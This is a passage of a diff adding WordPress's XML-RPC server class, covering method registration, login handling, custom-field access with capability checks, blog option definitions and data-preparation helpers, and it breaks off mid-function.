+			'wp.getUsersBlogs'		=> 'this:wp_getUsersBlogs',
+			'wp.newPost'			=> 'this:wp_newPost',
+			'wp.editPost'			=> 'this:wp_editPost',
+			'wp.deletePost'			=> 'this:wp_deletePost',
+			'wp.getPost'			=> 'this:wp_getPost',
+			'wp.getPosts'			=> 'this:wp_getPosts',
+			'wp.newTerm'			=> 'this:wp_newTerm',
+			'wp.editTerm'			=> 'this:wp_editTerm',
+			'wp.deleteTerm'			=> 'this:wp_deleteTerm',
+			'wp.getTerm'			=> 'this:wp_getTerm',
+			'wp.getTerms'			=> 'this:wp_getTerms',
+			'wp.getTaxonomy'		=> 'this:wp_getTaxonomy',
+			'wp.getTaxonomies'		=> 'this:wp_getTaxonomies',
+			'wp.getUser'			=> 'this:wp_getUser',
+			'wp.getUsers'			=> 'this:wp_getUsers',
+			'wp.getProfile'			=> 'this:wp_getProfile',
+			'wp.editProfile'		=> 'this:wp_editProfile',
+			'wp.getPage'			=> 'this:wp_getPage',
+			'wp.getPages'			=> 'this:wp_getPages',
+			'wp.newPage'			=> 'this:wp_newPage',
+			'wp.deletePage'			=> 'this:wp_deletePage',
+			'wp.editPage'			=> 'this:wp_editPage',
+			'wp.getPageList'		=> 'this:wp_getPageList',
+			'wp.getAuthors'			=> 'this:wp_getAuthors',
+			'wp.getCategories'		=> 'this:mw_getCategories',		// Alias
+			'wp.getTags'			=> 'this:wp_getTags',
+			'wp.newCategory'		=> 'this:wp_newCategory',
+			'wp.deleteCategory'		=> 'this:wp_deleteCategory',
+			'wp.suggestCategories'	=> 'this:wp_suggestCategories',
+			'wp.uploadFile'			=> 'this:mw_newMediaObject',	// Alias
+			'wp.deleteFile'			=> 'this:wp_deletePost',		// Alias
+			'wp.getCommentCount'	=> 'this:wp_getCommentCount',
+			'wp.getPostStatusList'	=> 'this:wp_getPostStatusList',
+			'wp.getPageStatusList'	=> 'this:wp_getPageStatusList',
+			'wp.getPageTemplates'	=> 'this:wp_getPageTemplates',
+			'wp.getOptions'			=> 'this:wp_getOptions',
+			'wp.setOptions'			=> 'this:wp_setOptions',
+			'wp.getComment'			=> 'this:wp_getComment',
+			'wp.getComments'		=> 'this:wp_getComments',
+			'wp.deleteComment'		=> 'this:wp_deleteComment',
+			'wp.editComment'		=> 'this:wp_editComment',
+			'wp.newComment'			=> 'this:wp_newComment',
+			'wp.getCommentStatusList' => 'this:wp_getCommentStatusList',
+			'wp.getMediaItem'		=> 'this:wp_getMediaItem',
+			'wp.getMediaLibrary'	=> 'this:wp_getMediaLibrary',
+			'wp.getPostFormats'     => 'this:wp_getPostFormats',
+			'wp.getPostType'		=> 'this:wp_getPostType',
+			'wp.getPostTypes'		=> 'this:wp_getPostTypes',
+			'wp.getRevisions'		=> 'this:wp_getRevisions',
+			'wp.restoreRevision'	=> 'this:wp_restoreRevision',
+
+			// Blogger API
+			'blogger.getUsersBlogs' => 'this:blogger_getUsersBlogs',
+			'blogger.getUserInfo' => 'this:blogger_getUserInfo',
+			'blogger.getPost' => 'this:blogger_getPost',
+			'blogger.getRecentPosts' => 'this:blogger_getRecentPosts',
+			'blogger.newPost' => 'this:blogger_newPost',
+			'blogger.editPost' => 'this:blogger_editPost',
+			'blogger.deletePost' => 'this:blogger_deletePost',
+
+			// MetaWeblog API (with MT extensions to structs)
+			'metaWeblog.newPost' => 'this:mw_newPost',
+			'metaWeblog.editPost' => 'this:mw_editPost',
+			'metaWeblog.getPost' => 'this:mw_getPost',
+			'metaWeblog.getRecentPosts' => 'this:mw_getRecentPosts',
+			'metaWeblog.getCategories' => 'this:mw_getCategories',
+			'metaWeblog.newMediaObject' => 'this:mw_newMediaObject',
+
+			// MetaWeblog API aliases for Blogger API
+			// see http://www.xmlrpc.com/stories/storyReader$2460
+			'metaWeblog.deletePost' => 'this:blogger_deletePost',
+			'metaWeblog.getUsersBlogs' => 'this:blogger_getUsersBlogs',
+
+			// MovableType API
+			'mt.getCategoryList' => 'this:mt_getCategoryList',
+			'mt.getRecentPostTitles' => 'this:mt_getRecentPostTitles',
+			'mt.getPostCategories' => 'this:mt_getPostCategories',
+			'mt.setPostCategories' => 'this:mt_setPostCategories',
+			'mt.supportedMethods' => 'this:mt_supportedMethods',
+			'mt.supportedTextFilters' => 'this:mt_supportedTextFilters',
+			'mt.getTrackbackPings' => 'this:mt_getTrackbackPings',
+			'mt.publishPost' => 'this:mt_publishPost',
+
+			// PingBack
+			'pingback.ping' => 'this:pingback_ping',
+			'pingback.extensions.getPingbacks' => 'this:pingback_extensions_getPingbacks',
+
+			'demo.sayHello' => 'this:sayHello',
+			'demo.addTwoNumbers' => 'this:addTwoNumbers'
+		);
+
+		$this->initialise_blog_option_info();
+
+		/**
+		 * Filters the methods exposed by the XML-RPC server.
+		 *
+		 * This filter can be used to add new methods, and remove built-in methods.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $methods An array of XML-RPC methods.
+		 */
+		$this->methods = apply_filters( 'xmlrpc_methods', $this->methods );
+	}
+
+	/**
+	 * Make private/protected methods readable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return array|IXR_Error|false Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		if ( '_multisite_getUsersBlogs' === $name ) {
+			return call_user_func_array( array( $this, $name ), $arguments );
+		}
+		return false;
+	}
+
+	/**
+	 * Serves the XML-RPC request.
+	 *
+	 * @since 2.9.0
+	 */
+	public function serve_request() {
+		$this->IXR_Server($this->methods);
+	}
+
+	/**
+	 * Test XMLRPC API by saying, "Hello!" to client.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string Hello string response.
+	 */
+	public function sayHello() {
+		return 'Hello!';
+	}
+
+	/**
+	 * Test XMLRPC API by adding two numbers for client.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int $number1 A number to add.
+	 *     @type int $number2 A second number to add.
+	 * }
+	 * @return int Sum of the two given numbers.
+	 */
+	public function addTwoNumbers( $args ) {
+		$number1 = $args[0];
+		$number2 = $args[1];
+		return $number1 + $number2;
+	}
+
+	/**
+	 * Log user in.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $username User's username.
+	 * @param string $password User's password.
+	 * @return WP_User|bool WP_User object if authentication passed, false otherwise
+	 */
+	public function login( $username, $password ) {
+		/*
+		 * Respect old get_option() filters left for back-compat when the 'enable_xmlrpc'
+		 * option was deprecated in 3.5.0. Use the 'xmlrpc_enabled' hook instead.
+		 */
+		$enabled = apply_filters( 'pre_option_enable_xmlrpc', false );
+		if ( false === $enabled ) {
+			$enabled = apply_filters( 'option_enable_xmlrpc', true );
+		}
+
+		/**
+		 * Filters whether XML-RPC methods requiring authentication are enabled.
+		 *
+		 * Contrary to the way it's named, this filter does not control whether XML-RPC is *fully*
+		 * enabled, rather, it only controls whether XML-RPC methods requiring authentication - such
+		 * as for publishing purposes - are enabled.
+		 *
+		 * Further, the filter does not control whether pingbacks or other custom endpoints that don't
+		 * require authentication are enabled. This behavior is expected, and due to how parity was matched
+		 * with the `enable_xmlrpc` UI option the filter replaced when it was introduced in 3.5.
+		 *
+		 * To disable XML-RPC methods that require authentication, use:
+		 *
+		 *     add_filter( 'xmlrpc_enabled', '__return_false' );
+		 *
+		 * For more granular control over all XML-RPC methods and requests, see the {@see 'xmlrpc_methods'}
+		 * and {@see 'xmlrpc_element_limit'} hooks.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param bool $enabled Whether XML-RPC is enabled. Default true.
+		 */
+		$enabled = apply_filters( 'xmlrpc_enabled', $enabled );
+
+		if ( ! $enabled ) {
+			$this->error = new IXR_Error( 405, sprintf( __( 'XML-RPC services are disabled on this site.' ) ) );
+			return false;
+		}
+
+		if ( $this->auth_failed ) {
+			$user = new WP_Error( 'login_prevented' );
+		} else {
+			$user = wp_authenticate( $username, $password );
+		}
+
+		if ( is_wp_error( $user ) ) {
+			$this->error = new IXR_Error( 403, __( 'Incorrect username or password.' ) );
+
+			// Flag that authentication has failed once on this wp_xmlrpc_server instance
+			$this->auth_failed = true;
+
+			/**
+			 * Filters the XML-RPC user login error message.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param string  $error The XML-RPC error message.
+			 * @param WP_User $user  WP_User object.
+			 */
+			$this->error = apply_filters( 'xmlrpc_login_error', $this->error, $user );
+			return false;
+		}
+
+		wp_set_current_user( $user->ID );
+		return $user;
+	}
+
+	/**
+	 * Check user's credentials. Deprecated.
+	 *
+	 * @since 1.5.0
+	 * @deprecated 2.8.0 Use wp_xmlrpc_server::login()
+	 * @see wp_xmlrpc_server::login()
+	 *
+	 * @param string $username User's username.
+	 * @param string $password User's password.
+	 * @return bool Whether authentication passed.
+	 */
+	public function login_pass_ok( $username, $password ) {
+		return (bool) $this->login( $username, $password );
+	}
+
+	/**
+	 * Escape string or array of strings for database.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string|array $data Escape single string or array of strings.
+	 * @return string|void Returns with string is passed, alters by-reference
+	 *                     when array is passed.
+	 */
+	public function escape( &$data ) {
+		if ( ! is_array( $data ) )
+			return wp_slash( $data );
+
+		foreach ( $data as &$v ) {
+			if ( is_array( $v ) )
+				$this->escape( $v );
+			elseif ( ! is_object( $v ) )
+				$v = wp_slash( $v );
+		}
+	}
+
+	/**
+	 * Retrieve custom fields for post.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $post_id Post ID.
+	 * @return array Custom fields, if exist.
+	 */
+	public function get_custom_fields($post_id) {
+		$post_id = (int) $post_id;
+
+		$custom_fields = array();
+
+		foreach ( (array) has_meta($post_id) as $meta ) {
+			// Don't expose protected fields.
+			if ( ! current_user_can( 'edit_post_meta', $post_id , $meta['meta_key'] ) )
+				continue;
+
+			$custom_fields[] = array(
+				"id"    => $meta['meta_id'],
+				"key"   => $meta['meta_key'],
+				"value" => $meta['meta_value']
+			);
+		}
+
+		return $custom_fields;
+	}
+
+	/**
+	 * Set custom fields for post.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param int $post_id Post ID.
+	 * @param array $fields Custom fields.
+	 */
+	public function set_custom_fields($post_id, $fields) {
+		$post_id = (int) $post_id;
+
+		foreach ( (array) $fields as $meta ) {
+			if ( isset($meta['id']) ) {
+				$meta['id'] = (int) $meta['id'];
+				$pmeta = get_metadata_by_mid( 'post', $meta['id'] );
+
+				if ( ! $pmeta || $pmeta->post_id != $post_id ) {
+					continue;
+				}
+
+				if ( isset($meta['key']) ) {
+					$meta['key'] = wp_unslash( $meta['key'] );
+					if ( $meta['key'] !== $pmeta->meta_key )
+						continue;
+					$meta['value'] = wp_unslash( $meta['value'] );
+					if ( current_user_can( 'edit_post_meta', $post_id, $meta['key'] ) )
+						update_metadata_by_mid( 'post', $meta['id'], $meta['value'] );
+				} elseif ( current_user_can( 'delete_post_meta', $post_id, $pmeta->meta_key ) ) {
+					delete_metadata_by_mid( 'post', $meta['id'] );
+				}
+			} elseif ( current_user_can( 'add_post_meta', $post_id, wp_unslash( $meta['key'] ) ) ) {
+				add_post_meta( $post_id, $meta['key'], $meta['value'] );
+			}
+		}
+	}
+
+	/**
+	 * Retrieve custom fields for a term.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @return array Array of custom fields, if they exist.
+	 */
+	public function get_term_custom_fields( $term_id ) {
+		$term_id = (int) $term_id;
+
+		$custom_fields = array();
+
+		foreach ( (array) has_term_meta( $term_id ) as $meta ) {
+
+			if ( ! current_user_can( 'edit_term_meta', $term_id ) ) {
+				continue;
+			}
+
+			$custom_fields[] = array(
+				'id'    => $meta['meta_id'],
+				'key'   => $meta['meta_key'],
+				'value' => $meta['meta_value'],
+			);
+		}
+
+		return $custom_fields;
+	}
+
+	/**
+	 * Set custom fields for a term.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @param array $fields Custom fields.
+	 */
+	public function set_term_custom_fields( $term_id, $fields ) {
+		$term_id = (int) $term_id;
+
+		foreach ( (array) $fields as $meta ) {
+			if ( isset( $meta['id'] ) ) {
+				$meta['id'] = (int) $meta['id'];
+				$pmeta = get_metadata_by_mid( 'term', $meta['id'] );
+				if ( isset( $meta['key'] ) ) {
+					$meta['key'] = wp_unslash( $meta['key'] );
+					if ( $meta['key'] !== $pmeta->meta_key ) {
+						continue;
+					}
+					$meta['value'] = wp_unslash( $meta['value'] );
+					if ( current_user_can( 'edit_term_meta', $term_id ) ) {
+						update_metadata_by_mid( 'term', $meta['id'], $meta['value'] );
+					}
+				} elseif ( current_user_can( 'delete_term_meta', $term_id ) ) {
+					delete_metadata_by_mid( 'term', $meta['id'] );
+				}
+			} elseif ( current_user_can( 'add_term_meta', $term_id ) ) {
+				add_term_meta( $term_id, $meta['key'], $meta['value'] );
+			}
+		}
+	}
+
+	/**
+	 * Set up blog options property.
+	 *
+	 * Passes property through {@see 'xmlrpc_blog_options'} filter.
+	 *
+	 * @since 2.6.0
+	 */
+	public function initialise_blog_option_info() {
+		$this->blog_options = array(
+			// Read only options
+			'software_name'     => array(
+				'desc'          => __( 'Software Name' ),
+				'readonly'      => true,
+				'value'         => 'WordPress'
+			),
+			'software_version'  => array(
+				'desc'          => __( 'Software Version' ),
+				'readonly'      => true,
+				'value'         => get_bloginfo( 'version' )
+			),
+			'blog_url'          => array(
+				'desc'          => __( 'WordPress Address (URL)' ),
+				'readonly'      => true,
+				'option'        => 'siteurl'
+			),
+			'home_url'          => array(
+				'desc'          => __( 'Site Address (URL)' ),
+				'readonly'      => true,
+				'option'        => 'home'
+			),
+			'login_url'          => array(
+				'desc'          => __( 'Login Address (URL)' ),
+				'readonly'      => true,
+				'value'         => wp_login_url( )
+			),
+			'admin_url'          => array(
+				'desc'          => __( 'The URL to the admin area' ),
+				'readonly'      => true,
+				'value'         => get_admin_url( )
+			),
+			'image_default_link_type' => array(
+				'desc'          => __( 'Image default link type' ),
+				'readonly'      => true,
+				'option'        => 'image_default_link_type'
+			),
+			'image_default_size' => array(
+				'desc'          => __( 'Image default size' ),
+				'readonly'      => true,
+				'option'        => 'image_default_size'
+			),
+			'image_default_align' => array(
+				'desc'          => __( 'Image default align' ),
+				'readonly'      => true,
+				'option'        => 'image_default_align'
+			),
+			'template'          => array(
+				'desc'          => __( 'Template' ),
+				'readonly'      => true,
+				'option'        => 'template'
+			),
+			'stylesheet'        => array(
+				'desc'          => __( 'Stylesheet' ),
+				'readonly'      => true,
+				'option'        => 'stylesheet'
+			),
+			'post_thumbnail'    => array(
+				'desc'          => __('Post Thumbnail'),
+				'readonly'      => true,
+				'value'         => current_theme_supports( 'post-thumbnails' )
+			),
+
+			// Updatable options
+			'time_zone'         => array(
+				'desc'          => __( 'Time Zone' ),
+				'readonly'      => false,
+				'option'        => 'gmt_offset'
+			),
+			'blog_title'        => array(
+				'desc'          => __( 'Site Title' ),
+				'readonly'      => false,
+				'option'        => 'blogname'
+			),
+			'blog_tagline'      => array(
+				'desc'          => __( 'Site Tagline' ),
+				'readonly'      => false,
+				'option'        => 'blogdescription'
+			),
+			'date_format'       => array(
+				'desc'          => __( 'Date Format' ),
+				'readonly'      => false,
+				'option'        => 'date_format'
+			),
+			'time_format'       => array(
+				'desc'          => __( 'Time Format' ),
+				'readonly'      => false,
+				'option'        => 'time_format'
+			),
+			'users_can_register' => array(
+				'desc'          => __( 'Allow new users to sign up' ),
+				'readonly'      => false,
+				'option'        => 'users_can_register'
+			),
+			'thumbnail_size_w'  => array(
+				'desc'          => __( 'Thumbnail Width' ),
+				'readonly'      => false,
+				'option'        => 'thumbnail_size_w'
+			),
+			'thumbnail_size_h'  => array(
+				'desc'          => __( 'Thumbnail Height' ),
+				'readonly'      => false,
+				'option'        => 'thumbnail_size_h'
+			),
+			'thumbnail_crop'    => array(
+				'desc'          => __( 'Crop thumbnail to exact dimensions' ),
+				'readonly'      => false,
+				'option'        => 'thumbnail_crop'
+			),
+			'medium_size_w'     => array(
+				'desc'          => __( 'Medium size image width' ),
+				'readonly'      => false,
+				'option'        => 'medium_size_w'
+			),
+			'medium_size_h'     => array(
+				'desc'          => __( 'Medium size image height' ),
+				'readonly'      => false,
+				'option'        => 'medium_size_h'
+			),
+			'medium_large_size_w'   => array(
+				'desc'          => __( 'Medium-Large size image width' ),
+				'readonly'      => false,
+				'option'        => 'medium_large_size_w'
+			),
+			'medium_large_size_h'   => array(
+				'desc'          => __( 'Medium-Large size image height' ),
+				'readonly'      => false,
+				'option'        => 'medium_large_size_h'
+			),
+			'large_size_w'      => array(
+				'desc'          => __( 'Large size image width' ),
+				'readonly'      => false,
+				'option'        => 'large_size_w'
+			),
+			'large_size_h'      => array(
+				'desc'          => __( 'Large size image height' ),
+				'readonly'      => false,
+				'option'        => 'large_size_h'
+			),
+			'default_comment_status' => array(
+				'desc'          => __( 'Allow people to post comments on new articles' ),
+				'readonly'      => false,
+				'option'        => 'default_comment_status'
+			),
+			'default_ping_status' => array(
+				'desc'          => __( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new articles' ),
+				'readonly'      => false,
+				'option'        => 'default_ping_status'
+			)
+		);
+
+		/**
+		 * Filters the XML-RPC blog options property.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param array $blog_options An array of XML-RPC blog options.
+		 */
+		$this->blog_options = apply_filters( 'xmlrpc_blog_options', $this->blog_options );
+	}
+
+	/**
+	 * Retrieve the blogs of the user.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type string $username Username.
+	 *     @type string $password Password.
+	 * }
+	 * @return array|IXR_Error Array contains:
+	 *  - 'isAdmin'
+	 *  - 'isPrimary' - whether the blog is the user's primary blog
+	 *  - 'url'
+	 *  - 'blogid'
+	 *  - 'blogName'
+	 *  - 'xmlrpc' - url of xmlrpc endpoint
+	 */
+	public function wp_getUsersBlogs( $args ) {
+		if ( ! $this->minimum_args( $args, 2 ) ) {
+			return $this->error;
+		}
+
+		// If this isn't on WPMU then just use blogger_getUsersBlogs
+		if ( !is_multisite() ) {
+			array_unshift( $args, 1 );
+			return $this->blogger_getUsersBlogs( $args );
+		}
+
+		$this->escape( $args );
+
+		$username = $args[0];
+		$password = $args[1];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/**
+		 * Fires after the XML-RPC user has been authenticated but before the rest of
+		 * the method logic begins.
+		 *
+		 * All built-in XML-RPC methods use the action xmlrpc_call, with a parameter
+		 * equal to the method's name, e.g., wp.getUsersBlogs, wp.newPost, etc.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param string $name The method name.
+		 */
+		do_action( 'xmlrpc_call', 'wp.getUsersBlogs' );
+
+		$blogs = (array) get_blogs_of_user( $user->ID );
+		$struct = array();
+		$primary_blog_id = 0;
+		$active_blog = get_active_blog_for_user( $user->ID );
+		if ( $active_blog ) {
+			$primary_blog_id = (int) $active_blog->blog_id;
+		}
+
+		foreach ( $blogs as $blog ) {
+			// Don't include blogs that aren't hosted at this site.
+			if ( $blog->site_id != get_current_network_id() )
+				continue;
+
+			$blog_id = $blog->userblog_id;
+
+			switch_to_blog( $blog_id );
+
+			$is_admin = current_user_can( 'manage_options' );
+			$is_primary = ( (int) $blog_id === $primary_blog_id );
+
+			$struct[] = array(
+				'isAdmin'   => $is_admin,
+				'isPrimary' => $is_primary,
+				'url'       => home_url( '/' ),
+				'blogid'    => (string) $blog_id,
+				'blogName'  => get_option( 'blogname' ),
+				'xmlrpc'    => site_url( 'xmlrpc.php', 'rpc' ),
+			);
+
+			restore_current_blog();
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Checks if the method received at least the minimum number of arguments.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string|array $args Sanitize single string or array of strings.
+	 * @param int $count         Minimum number of arguments.
+	 * @return bool if `$args` contains at least $count arguments.
+	 */
+	protected function minimum_args( $args, $count ) {
+		if ( count( $args ) < $count ) {
+			$this->error = new IXR_Error( 400, __( 'Insufficient arguments passed to this XML-RPC method.' ) );
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Prepares taxonomy data for return in an XML-RPC object.
+	 *
+	 *
+	 * @param object $taxonomy The unprepared taxonomy data.
+	 * @param array $fields    The subset of taxonomy fields to return.
+	 * @return array The prepared taxonomy data.
+	 */
+	protected function _prepare_taxonomy( $taxonomy, $fields ) {
+		$_taxonomy = array(
+			'name' => $taxonomy->name,
+			'label' => $taxonomy->label,
+			'hierarchical' => (bool) $taxonomy->hierarchical,
+			'public' => (bool) $taxonomy->public,
+			'show_ui' => (bool) $taxonomy->show_ui,
+			'_builtin' => (bool) $taxonomy->_builtin,
+		);
+
+		if ( in_array( 'labels', $fields ) )
+			$_taxonomy['labels'] = (array) $taxonomy->labels;
+
+		if ( in_array( 'cap', $fields ) )
+			$_taxonomy['cap'] = (array) $taxonomy->cap;
+
+		if ( in_array( 'menu', $fields ) )
+			$_taxonomy['show_in_menu'] = (bool) $_taxonomy->show_in_menu;
+
+		if ( in_array( 'object_type', $fields ) )
+			$_taxonomy['object_type'] = array_unique( (array) $taxonomy->object_type );
+
+		/**
+		 * Filters XML-RPC-prepared data for the given taxonomy.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array       $_taxonomy An array of taxonomy data.
+		 * @param WP_Taxonomy $taxonomy  Taxonomy object.
+		 * @param array       $fields    The subset of taxonomy fields to return.
+		 */
+		return apply_filters( 'xmlrpc_prepare_taxonomy', $_taxonomy, $taxonomy, $fields );
+	}
+
+	/**
+	 * Prepares term data for return in an XML-RPC object.
+	 *
+	 *
+	 * @param array|object $term The unprepared term data.
+	 * @return array The prepared term data.
+	 */
+	protected function _prepare_term( $term ) {
+		$_term = $term;
+		if ( ! is_array( $_term ) )
+			$_term = get_object_vars( $_term );
+
+		// For integers which may be larger than XML-RPC supports ensure we return strings.
+		$_term['term_id'] = strval( $_term['term_id'] );
+		$_term['term_group'] = strval( $_term['term_group'] );
+		$_term['term_taxonomy_id'] = strval( $_term['term_taxonomy_id'] );
+		$_term['parent'] = strval( $_term['parent'] );
+
+		// Count we are happy to return as an integer because people really shouldn't use terms that much.
+		$_term['count'] = intval( $_term['count'] );
+
+		// Get term meta.
+		$_term['custom_fields'] = $this->get_term_custom_fields( $_term['term_id'] );
+
+		/**
+		 * Filters XML-RPC-prepared data for the given term.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array        $_term An array of term data.
+		 * @param array|object $term  Term object or array.
+		 */
+		return apply_filters( 'xmlrpc_prepare_term', $_term, $term );
+	}
+
+	/**
+	 * Convert a WordPress date string to an IXR_Date object.
+	 *
+	 *
+	 * @param string $date Date string to convert.
+	 * @return IXR_Date IXR_Date object.
+	 */
+	protected function _convert_date( $date ) {
+		if ( $date === '0000-00-00 00:00:00' ) {
+			return new IXR_Date( '00000000T00:00:00Z' );
+		}
+		return new IXR_Date( mysql2date( 'Ymd\TH:i:s', $date, false ) );
+	}
+
+	/**
+	 * Convert a WordPress GMT date string to an IXR_Date object.
+	 *
+	 *
+	 * @param string $date_gmt WordPress GMT date string.
+	 * @param string $date     Date string.
+	 * @return IXR_Date IXR_Date object.
+	 */
+	protected function _convert_date_gmt( $date_gmt, $date ) {
+		if ( $date !== '0000-00-00 00:00:00' && $date_gmt === '0000-00-00 00:00:00' ) {
+			return new IXR_Date( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $date, false ), 'Ymd\TH:i:s' ) );
+		}
+		return $this->_convert_date( $date_gmt );
+	}
+
+	/**
+	 * Prepares post data for return in an XML-RPC object.
+	 *
+	 *
+	 * @param array $post   The unprepared post data.
+	 * @param array $fields The subset of post type fields to return.
+	 * @return array The prepared post data.
+	 */
+	protected function _prepare_post( $post, $fields ) {
+		// Holds the data for this post. built up based on $fields.
+		$_post = array( 'post_id' => strval( $post['ID'] ) );
+
+		// Prepare common post fields.
+		$post_fields = array(
+			'post_title'        => $post['post_title'],
+			'post_date'         => $this->_convert_date( $post['post_date'] ),
+			'post_date_gmt'     => $this->_convert_date_gmt( $post['post_date_gmt'], $post['post_date'] ),
+			'post_modified'     => $this->_convert_date( $post['post_modified'] ),
+			'post_modified_gmt' => $this->_convert_date_gmt( $post['post_modified_gmt'], $post['post_modified'] ),
+			'post_status'       => $post['post_status'],
+			'post_type'         => $post['post_type'],
+			'post_name'         => $post['post_name'],
+			'post_author'       => $post['post_author'],
+			'post_password'     => $post['post_password'],
+			'post_excerpt'      => $post['post_excerpt'],
+			'post_content'      => $post['post_content'],
+			'post_parent'       => strval( $post['post_parent'] ),
+			'post_mime_type'    => $post['post_mime_type'],
+			'link'              => get_permalink( $post['ID'] ),
+			'guid'              => $post['guid'],
+			'menu_order'        => intval( $post['menu_order'] ),
+			'comment_status'    => $post['comment_status'],
+			'ping_status'       => $post['ping_status'],
+			'sticky'            => ( $post['post_type'] === 'post' && is_sticky( $post['ID'] ) ),
+		);
+
+		// Thumbnail.
+		$post_fields['post_thumbnail'] = array();
+		$thumbnail_id = get_post_thumbnail_id( $post['ID'] );
+		if ( $thumbnail_id ) {
+			$thumbnail_size = current_theme_supports('post-thumbnail') ? 'post-thumbnail' : 'thumbnail';
+			$post_fields['post_thumbnail'] = $this->_prepare_media_item( get_post( $thumbnail_id ), $thumbnail_size );
+		}
+
+		// Consider future posts as published.
+		if ( $post_fields['post_status'] === 'future' )
+			$post_fields['post_status'] = 'publish';
+
+		// Fill in blank post format.
+		$post_fields['post_format'] = get_post_format( $post['ID'] );
+		if ( empty( $post_fields['post_format'] ) )
+			$post_fields['post_format'] = 'standard';
+
+		// Merge requested $post_fields fields into $_post.
+		if ( in_array( 'post', $fields ) ) {
+			$_post = array_merge( $_post, $post_fields );
+		} else {
+			$requested_fields = array_intersect_key( $post_fields, array_flip( $fields ) );
+			$_post = array_merge( $_post, $requested_fields );
+		}
+
+		$all_taxonomy_fields = in_array( 'taxonomies', $fields );
+
+		if ( $all_taxonomy_fields || in_array( 'terms', $fields ) ) {
+			$post_type_taxonomies = get_object_taxonomies( $post['post_type'], 'names' );
+			$terms = wp_get_object_terms( $post['ID'], $post_type_taxonomies );
+			$_post['terms'] = array();
+			foreach ( $terms as $term ) {
+				$_post['terms'][] = $this->_prepare_term( $term );
+			}
+		}
+
+		if ( in_array( 'custom_fields', $fields ) )
+			$_post['custom_fields'] = $this->get_custom_fields( $post['ID'] );
+
+		if ( in_array( 'enclosure', $fields ) ) {
+			$_post['enclosure'] = array();
+			$enclosures = (array) get_post_meta( $post['ID'], 'enclosure' );
+			if ( ! empty( $enclosures ) ) {
+				$encdata = explode( "\n", $enclosures[0] );
+				$_post['enclosure']['url'] = trim( htmlspecialchars( $encdata[0] ) );
+				$_post['enclosure']['length'] = (int) trim( $encdata[1] );
+				$_post['enclosure']['type'] = trim( $encdata[2] );
+			}
+		}
+
+		/**
+		 * Filters XML-RPC-prepared date for the given post.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array $_post  An array of modified post data.
+		 * @param array $post   An array of post data.
+		 * @param array $fields An array of post fields.
+		 */
+		return apply_filters( 'xmlrpc_prepare_post', $_post, $post, $fields );
+	}
+
+	/**
+	 * Prepares post data for return in an XML-RPC object.
+	 *
+	 * @since 3.4.0
+	 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
+	 *
+	 * @param WP_Post_Type $post_type Post type object.
+	 * @param array        $fields    The subset of post fields to return.
+	 * @return array The prepared post type data.
+	 */
+	protected function _prepare_post_type( $post_type, $fields ) {
+		$_post_type = array(
+			'name' => $post_type->name,
+			'label' => $post_type->label,
+			'hierarchical' => (bool) $post_type->hierarchical,
+			'public' => (bool) $post_type->public,
+			'show_ui' => (bool) $post_type->show_ui,
+			'_builtin' => (bool) $post_type->_builtin,
+			'has_archive' => (bool) $post_type->has_archive,
+			'supports' => get_all_post_type_supports( $post_type->name ),
+		);
+
+		if ( in_array( 'labels', $fields ) ) {
+			$_post_type['labels'] = (array) $post_type->labels;
+		}
+
+		if ( in_array( 'cap', $fields ) ) {
+			$_post_type['cap'] = (array) $post_type->cap;
+			$_post_type['map_meta_cap'] = (bool) $post_type->map_meta_cap;
+		}
+
+		if ( in_array( 'menu', $fields ) ) {
+			$_post_type['menu_position'] = (int) $post_type->menu_position;
+			$_post_type['menu_icon'] = $post_type->menu_icon;
+			$_post_type['show_in_menu'] = (bool) $post_type->show_in_menu;
+		}
+
+		if ( in_array( 'taxonomies', $fields ) )
+			$_post_type['taxonomies'] = get_object_taxonomies( $post_type->name, 'names' );
+
+		/**
+		 * Filters XML-RPC-prepared date for the given post type.
+		 *
+		 * @since 3.4.0
+		 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
+		 *
+		 * @param array        $_post_type An array of post type data.
+		 * @param WP_Post_Type $post_type  Post type object.
+		 */
+		return apply_filters( 'xmlrpc_prepare_post_type', $_post_type, $post_type );
+	}
+
+	/**
+	 * Prepares media item data for return in an XML-RPC object.
+	 *
+	 *
+	 * @param object $media_item     The unprepared media item data.
+	 * @param string $thumbnail_size The image size to use for the thumbnail URL.
+	 * @return array The prepared media item data.
+	 */
+	protected function _prepare_media_item( $media_item, $thumbnail_size = 'thumbnail' ) {
+		$_media_item = array(
+			'attachment_id'    => strval( $media_item->ID ),
+			'date_created_gmt' => $this->_convert_date_gmt( $media_item->post_date_gmt, $media_item->post_date ),
+			'parent'           => $media_item->post_parent,
+			'link'             => wp_get_attachment_url( $media_item->ID ),
+			'title'            => $media_item->post_title,
+			'caption'          => $media_item->post_excerpt,
